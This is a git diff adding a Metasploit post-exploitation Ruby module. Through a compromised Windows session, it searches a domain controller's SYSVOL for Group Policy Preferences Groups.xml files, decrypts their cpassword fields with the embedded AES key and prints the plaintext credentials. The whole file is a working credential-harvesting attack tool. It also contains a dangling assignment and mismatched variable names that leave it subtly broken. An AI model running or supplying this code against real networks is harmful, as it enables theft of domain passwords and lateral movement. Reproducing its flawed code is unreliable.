diff --git a/modules/post/windows/gather/credentials/enum_gpp_passwords.rb b/modules/post/windows/gather/credentials/enum_gpp_passwords.rb new file mode 100755 index 0000000000..38f8a64dac --- /dev/null +++ b/modules/post/windows/gather/credentials/enum_gpp_passwords.rb @@ -0,0 +1,178 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/post/windows/priv' +require 'rexml/document' +require 'msf/core/post/common' + +class Metasploit3 < Msf::Post + include Msf::Post::Windows::Priv + include Msf::Post::Common + + domain_not_found_error = + + def initialize(info={}) + super(update_info(info, + 'Name' => "Windows Gather Enum Group Policy Prefences Passwords", + 'Description' => %q{ + "This module enumerates users and passwords created on the local machine via group policy preferences. + Based upon work by: + http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences + Code heavily based on enum_domain.rb and smartftp.rb modules. + }, + 'License' => MSF_LICENSE, + 'Version' => '$Revision: 0.1 $', + 'Platform' => ['windows'], + 'SessionTypes' => ['meterpreter'], + 'Author' => ['Meatballs'] + )) + end + + def reg_getvaldata(key,valname) + value = nil + begin + root_key, base_key = client.sys.registry.splitkey(key) + open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ) + v = open_key.query_value(valname) + value = v.data + open_key.close + rescue + end + return value + end + + def get_domain_controller() + domain = nil + begin + subkey = "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Group Policy\\History" + v_name = "DCName" + domain_controller = reg_getvaldata(subkey, v_name) + rescue + print_error("This host is not part of a domain.") + end + + return domain_controller + end + + # Modified from smartftp.rb + # Recursive function that enums specific subdirs through a list of regexs to a specific path. + def enum_subdirs(path, regex) +# The search function takes too long as not indexed. +# enum_groups_xml = session.fs.file.search(path, "Groups.xml", true, -1) + + enum_groups_xml = [] + current_regex = regex.pop + begin + session.fs.dir.foreach(path) do |sub| + next if sub =~ /^(\.|\.\.)$/ || !(sub =~ current_regex) + + xmlpath= "#{path}\\#{sub}" + + if regex.length == 0 + enum_groups_xml << xmlpath + else + enum_groups_xml += enum_subdirs(xmlpath, regex.clone) + end + end + rescue Rex::Post::Meterpreter::RequestError => e + #print_error "Received error code #{e.code} when enumerating #{path}" + end + + return enum_groups_xml + end + + # Taken from smartftp.rb + def get_xml(path) + begin + connections = client.fs.file.new(path, 'r') + + condata = '' + until connections.eof + condata << connections.read + end + return condata + rescue Rex::Post::Meterpreter::RequestError => e + print_error "Received error code #{e.code} when reading #{path}" + return nil + end + end + + # Taken from smartftp.rb + def parse_xml(data) + mxml = REXML::Document.new(data) + mxml.elements.each("Groups/User/Properties") do |property| + + next if property.attributes["cpassword"].nil? + + username = property.attributes["userName"] + new_name = property.attributes["newName"] + action = property.attributes["action"] + disabled = property.attributes["acctDisabled"] + cpassword = property.attributes["cpassword"] + + password = decrypt(cpassword) + + if !new_name.to_s.empty? + username = new_name + end + + print_good("username: #{username}, disabled: #{disabled}, password: #{password}, action: #{action}") + +# if session.db_record +# source_id = session.db_record.id +# else +# source_id = nil +# end +# report_auth_info( +# :host => host, +# :port => port, +# :source_id => ssource_id, +# :source_type => "exploit", +# :user => user, +# :pass => pass +# ) + end + end + + def decrypt(password) + padding = "=" * (4 - (password.length % 4)) + password = Rex::Text.decode_base64(password + padding) + key = ["4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b"].pack("H*") + decrypt = OpenSSL::Cipher.new("aes-256-cbc") + decrypt.decrypt + decrypt.key = key + plaintext = decrypt.update(password) + plaintext << decrypt.final + + return plaintext + end + + def run + domain_controller = get_domain_controller() + if not domain_controller.nil? + print_good("FOUND Domain Controller: #{domain_controller}") + dom_info = domain_controller.split('.') + dom_info[0].sub!(/\\\\/,'') + + target_path = "#{domain_controller}\\SYSVOL\\#{dom_info[1]}.#{dom_info[2]}\\Policies" + + print_status("Searching #{target_path} for Groups.xml") + + regex = [ /^(Groups.xml)$/, /^(Groups)/, /^(Preferences)/, /^(Machine)/, /^(\{[\d\w-]*\})/ ] + + for result in enum_subdirs(target_path, regex) + xml = get_xml(result) + unless xml.nil? + parse_xml(xml) + end + end + else + print_error("This host is not part of a domain.") + end + end +end